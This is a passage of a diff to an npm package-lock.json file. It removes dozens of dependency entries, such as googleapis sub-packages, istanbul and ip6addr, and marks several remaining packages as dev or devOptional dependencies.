+- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==",
+- "dependencies": {
+- "node-forge": "^0.10.0",
+- "pify": "^4.0.0"
+- },
+- "bin": {
+- "gp12-pem": "build/src/bin/gp12-pem.js"
+- }
+- },
+- "node_modules/googleapis/node_modules/gtoken": {
+- "version": "2.3.3",
+- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz",
+- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==",
+- "dependencies": {
+- "gaxios": "^1.0.4",
+- "google-p12-pem": "^1.0.0",
+- "jws": "^3.1.5",
+- "mime": "^2.2.0",
+- "pify": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=6.0.0"
+- }
+- },
+- "node_modules/googleapis/node_modules/https-proxy-agent": {
+- "version": "2.2.4",
+- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz",
+- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==",
+- "dependencies": {
+- "agent-base": "^4.3.0",
+- "debug": "^3.1.0"
+- },
+- "engines": {
+- "node": ">= 4.5.0"
+- }
+- },
+- "node_modules/googleapis/node_modules/json-bigint": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz",
+- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==",
+- "dependencies": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "node_modules/googleapis/node_modules/jwa": {
+- "version": "1.4.1",
+- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz",
+- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==",
+- "dependencies": {
+- "buffer-equal-constant-time": "1.0.1",
+- "ecdsa-sig-formatter": "1.0.11",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "node_modules/googleapis/node_modules/jws": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
+- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
+- "dependencies": {
+- "jwa": "^1.4.1",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "node_modules/googleapis/node_modules/node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==",
+- "engines": {
+- "node": ">= 6.0.0"
+- }
+- },
+- "node_modules/googleapis/node_modules/pify": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/googleapis/node_modules/semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "bin": {
+- "semver": "bin/semver"
+- }
+- },
+- "node_modules/got": {
+- "version": "9.6.0",
+- "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
+- "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
+- "dependencies": {
+- "@sindresorhus/is": "^0.14.0",
+- "@szmarczak/http-timer": "^1.1.2",
+- "cacheable-request": "^6.0.0",
+- "decompress-response": "^3.3.0",
+- "duplexer3": "^0.1.4",
+- "get-stream": "^4.1.0",
+- "lowercase-keys": "^1.0.1",
+- "mimic-response": "^1.0.1",
+- "p-cancelable": "^1.0.0",
+- "to-readable-stream": "^1.0.0",
+- "url-parse-lax": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=8.6"
+- }
+- },
+ "node_modules/graceful-fs": {
+ "version": "4.2.9",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz",
+ "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ=="
+ },
+- "node_modules/graphlib": {
+- "version": "2.1.8",
+- "resolved": "https://registry.npmjs.org/graphlib/-/graphlib-2.1.8.tgz",
+- "integrity": "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==",
+- "dependencies": {
+- "lodash": "^4.17.15"
+- }
+- },
+ "node_modules/gray-matter": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-2.1.1.tgz",
+@@ -16079,64 +13283,6 @@
+ "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
+ "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk="
+ },
+- "node_modules/has-value": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
+- "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=",
+- "dependencies": {
+- "get-value": "^2.0.6",
+- "has-values": "^1.0.0",
+- "isobject": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/has-values": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
+- "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=",
+- "dependencies": {
+- "is-number": "^3.0.0",
+- "kind-of": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/has-values/node_modules/is-number": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/has-values/node_modules/is-number/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/has-values/node_modules/kind-of": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
+- "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/hash-stream-validation": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/hash-stream-validation/-/hash-stream-validation-0.2.4.tgz",
+@@ -16250,15 +13396,6 @@
+ "node": ">=4.0.0"
+ }
+ },
+- "node_modules/hoek": {
+- "version": "5.0.4",
+- "resolved": "https://registry.npmjs.org/hoek/-/hoek-5.0.4.tgz",
+- "integrity": "sha512-Alr4ZQgoMlnere5FZJsIyfIjORBqZll5POhDsF4q64dPuJR6rNxXdDxtHSQq8OXRurhmx+PWYEE8bXRROY8h0w==",
+- "deprecated": "This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).",
+- "engines": {
+- "node": ">=8.9.0"
+- }
+- },
+ "node_modules/hoist-non-react-statics": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz",
+@@ -16272,17 +13409,6 @@
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
+ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
+ },
+- "node_modules/homedir-polyfill": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz",
+- "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==",
+- "dependencies": {
+- "parse-passwd": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/hpack.js": {
+ "version": "2.1.6",
+ "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
+@@ -16459,11 +13585,6 @@
+ "entities": "^2.0.0"
+ }
+ },
+- "node_modules/http-cache-semantics": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
+- "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
+- },
+ "node_modules/http-deceiver": {
+ "version": "1.2.7",
+ "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
+@@ -16515,19 +13636,6 @@
+ "node": ">=8.0.0"
+ }
+ },
+- "node_modules/http-proxy-agent": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+- "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+- "dependencies": {
+- "@tootallnate/once": "1",
+- "agent-base": "6",
+- "debug": "4"
+- },
+- "engines": {
+- "node": ">= 6"
+- }
+- },
+ "node_modules/http-proxy-middleware": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.4.tgz",
+@@ -16586,14 +13694,6 @@
+ "node": ">=0.8"
+ }
+ },
+- "node_modules/http-status": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/http-status/-/http-status-1.5.0.tgz",
+- "integrity": "sha512-wcGvY31MpFNHIkUcXHHnvrE4IKYlpvitJw5P/1u892gMBAM46muQ+RH7UN1d+Ntnfx5apnOnVY6vcLmrWHOLwg==",
+- "engines": {
+- "node": ">= 0.4.0"
+- }
+- },
+ "node_modules/https-proxy-agent": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz",
+@@ -16853,14 +13953,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/inflection": {
+- "version": "1.12.0",
+- "resolved": "https://registry.npmjs.org/inflection/-/inflection-1.12.0.tgz",
+- "integrity": "sha1-ogCTVlbW9fa8TcdQLhrstwMihBY=",
+- "engines": [
+- "node >= 0.4.0"
+- ]
+- },
+ "node_modules/inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+@@ -16875,19 +13967,6 @@
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+ },
+- "node_modules/ini": {
+- "version": "1.3.8",
+- "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+- "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+- },
+- "node_modules/install": {
+- "version": "0.13.0",
+- "resolved": "https://registry.npmjs.org/install/-/install-0.13.0.tgz",
+- "integrity": "sha512-zDml/jzr2PKU9I8J/xyZBQn8rPCAY//UOYNmR01XwNwyfhEWObo2SWfSl1+0tm1u6PhxLwDnfsT/6jB7OUxqFA==",
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/internal-slot": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+@@ -16905,6 +13984,7 @@
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz",
+ "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==",
++ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+@@ -16956,46 +14036,6 @@
+ "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=",
+ "devOptional": true
+ },
+- "node_modules/ip-regex": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz",
+- "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=",
+- "dev": true,
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/ip6addr": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/ip6addr/-/ip6addr-0.2.5.tgz",
+- "integrity": "sha512-9RGGSB6Zc9Ox5DpDGFnJdIeF0AsqXzdH+FspCfPPaU/L/4tI6P+5lIoFUFm9JXs9IrJv1boqAaNCQmoDADTSKQ==",
+- "dependencies": {
+- "assert-plus": "^1.0.0",
+- "jsprim": "^2.0.2"
+- }
+- },
+- "node_modules/ip6addr/node_modules/assert-plus": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
+- "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==",
+- "engines": {
+- "node": ">=0.8"
+- }
+- },
+- "node_modules/ip6addr/node_modules/jsprim": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz",
+- "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==",
+- "engines": [
+- "node >=0.6.0"
+- ],
+- "dependencies": {
+- "assert-plus": "1.0.0",
+- "extsprintf": "1.3.0",
+- "json-schema": "0.4.0",
+- "verror": "1.10.0"
+- }
+- },
+ "node_modules/ipaddr.js": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+@@ -17016,6 +14056,7 @@
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz",
+ "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==",
++ "dev": true,
+ "dependencies": {
+ "is-relative": "^1.0.0",
+ "is-windows": "^1.0.1"
+@@ -17032,17 +14073,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/is-accessor-descriptor": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+- "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+- "dependencies": {
+- "kind-of": "^6.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/is-arguments": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz",
+@@ -17088,14 +14118,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/is-bluebird": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-bluebird/-/is-bluebird-1.0.2.tgz",
+- "integrity": "sha1-CWQ5Bg9KpBGr7hkUOoTWpVNG1uI=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/is-boolean-object": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
+@@ -17149,17 +14171,6 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/is-data-descriptor": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+- "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+- "dependencies": {
+- "kind-of": "^6.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/is-date-object": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
+@@ -17174,19 +14185,6 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/is-descriptor": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+- "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+- "dependencies": {
+- "is-accessor-descriptor": "^1.0.0",
+- "is-data-descriptor": "^1.0.0",
+- "kind-of": "^6.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/is-docker": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+@@ -17214,6 +14212,7 @@
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
+ "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -17222,6 +14221,7 @@
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
++ "devOptional": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -17243,6 +14243,7 @@
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
++ "devOptional": true,
+ "dependencies": {
+ "is-extglob": "^2.1.1"
+ },
+@@ -17266,18 +14267,6 @@
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+- "node_modules/is-ip": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-2.0.0.tgz",
+- "integrity": "sha1-aO6gfooKCpTC0IDdZ0xzGrKkYas=",
+- "dev": true,
+- "dependencies": {
+- "ip-regex": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/is-nan": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz",
+@@ -17381,6 +14370,7 @@
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
+ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
++ "dev": true,
+ "dependencies": {
+ "isobject": "^3.0.1"
+ },
+@@ -17418,6 +14408,7 @@
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz",
+ "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==",
++ "dev": true,
+ "dependencies": {
+ "is-unc-path": "^1.0.0"
+ },
+@@ -17497,6 +14488,7 @@
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz",
+ "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==",
++ "dev": true,
+ "dependencies": {
+ "unc-path-regex": "^0.1.2"
+ },
+@@ -17531,11 +14523,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/is-valid-hostname": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-valid-hostname/-/is-valid-hostname-1.0.2.tgz",
+- "integrity": "sha512-X/kiF3Xndj6WI7l/yLyzR7V1IbQd6L4S4cewSL0fRciemPmHbaXIKR2qtf+zseH+lbMG0vFp4HvCUe7amGZVhw=="
+- },
+ "node_modules/is-weakref": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
+@@ -17557,6 +14544,7 @@
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
+ "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -17589,17 +14577,6 @@
+ "url": "https://github.com/sponsors/gjtorikian/"
+ }
+ },
+- "node_modules/isemail": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/isemail/-/isemail-3.2.0.tgz",
+- "integrity": "sha512-zKqkK+O+dGqevc93KNsbZ/TqTUFd46MwWjYOoMrjIMZ51eU7DtQG3Wmd9SQQT7i7RVnuTPEiYEWHU3MSbxC1Tg==",
+- "dependencies": {
+- "punycode": "2.x.x"
+- },
+- "engines": {
+- "node": ">=4.0.0"
+- }
+- },
+ "node_modules/isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+@@ -17609,6 +14586,7 @@
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+ "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -17622,45 +14600,11 @@
+ "unfetch": "^4.2.0"
+ }
+ },
+- "node_modules/isomorphic-ws": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz",
+- "integrity": "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w==",
+- "peerDependencies": {
+- "ws": "*"
+- }
+- },
+ "node_modules/isstream": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
+ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
+ },
+- "node_modules/istanbul": {
+- "version": "0.4.5",
+- "resolved": "https://registry.npmjs.org/istanbul/-/istanbul-0.4.5.tgz",
+- "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=",
+- "deprecated": "This module is no longer maintained, try this instead:\n npm i nyc\nVisit https://istanbul.js.org/integrations for other alternatives.",
+- "dev": true,
+- "dependencies": {
+- "abbrev": "1.0.x",
+- "async": "1.x",
+- "escodegen": "1.8.x",
+- "esprima": "2.7.x",
+- "glob": "^5.0.15",
+- "handlebars": "^4.0.1",
+- "js-yaml": "3.x",
+- "mkdirp": "0.5.x",
+- "nopt": "3.x",
+- "once": "1.x",
+- "resolve": "1.1.x",
+- "supports-color": "^3.1.0",
+- "which": "^1.1.1",
+- "wordwrap": "^1.0.0"
+- },
+- "bin": {
+- "istanbul": "lib/cli.js"
+- }
+- },
+ "node_modules/istanbul-lib-coverage": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+@@ -17834,177 +14778,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/istanbul/node_modules/abbrev": {
+- "version": "1.0.9",
+- "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz",
+- "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=",
+- "dev": true
+- },
+- "node_modules/istanbul/node_modules/argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dev": true,
+- "dependencies": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "node_modules/istanbul/node_modules/async": {
+- "version": "1.5.2",
+- "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz",
+- "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=",
+- "dev": true
+- },
+- "node_modules/istanbul/node_modules/escodegen": {
+- "version": "1.8.1",
+- "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.8.1.tgz",
+- "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=",
+- "dev": true,
+- "dependencies": {
+- "esprima": "^2.7.1",
+- "estraverse": "^1.9.1",
+- "esutils": "^2.0.2",
+- "optionator": "^0.8.1"
+- },
+- "bin": {
+- "escodegen": "bin/escodegen.js",
+- "esgenerate": "bin/esgenerate.js"
+- },
+- "engines": {
+- "node": ">=0.12.0"
+- },
+- "optionalDependencies": {
+- "source-map": "~0.2.0"
+- }
+- },
+- "node_modules/istanbul/node_modules/esprima": {
+- "version": "2.7.3",
+- "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz",
+- "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=",
+- "dev": true,
+- "bin": {
+- "esparse": "bin/esparse.js",
+- "esvalidate": "bin/esvalidate.js"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/istanbul/node_modules/estraverse": {
+- "version": "1.9.3",
+- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-1.9.3.tgz",
+- "integrity": "sha1-r2fy3JIlgkFZUJJgkaQAXSnJu0Q=",
+- "dev": true,
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/istanbul/node_modules/glob": {
+- "version": "5.0.15",
+- "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz",
+- "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=",
+- "dev": true,
+- "dependencies": {
+- "inflight": "^1.0.4",
+- "inherits": "2",
+- "minimatch": "2 || 3",
+- "once": "^1.3.0",
+- "path-is-absolute": "^1.0.0"
+- },
+- "engines": {
+- "node": "*"
+- }
+- },
+- "node_modules/istanbul/node_modules/has-flag": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz",
+- "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=",
+- "dev": true,
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/istanbul/node_modules/js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "dev": true,
+- "dependencies": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "bin": {
+- "js-yaml": "bin/js-yaml.js"
+- }
+- },
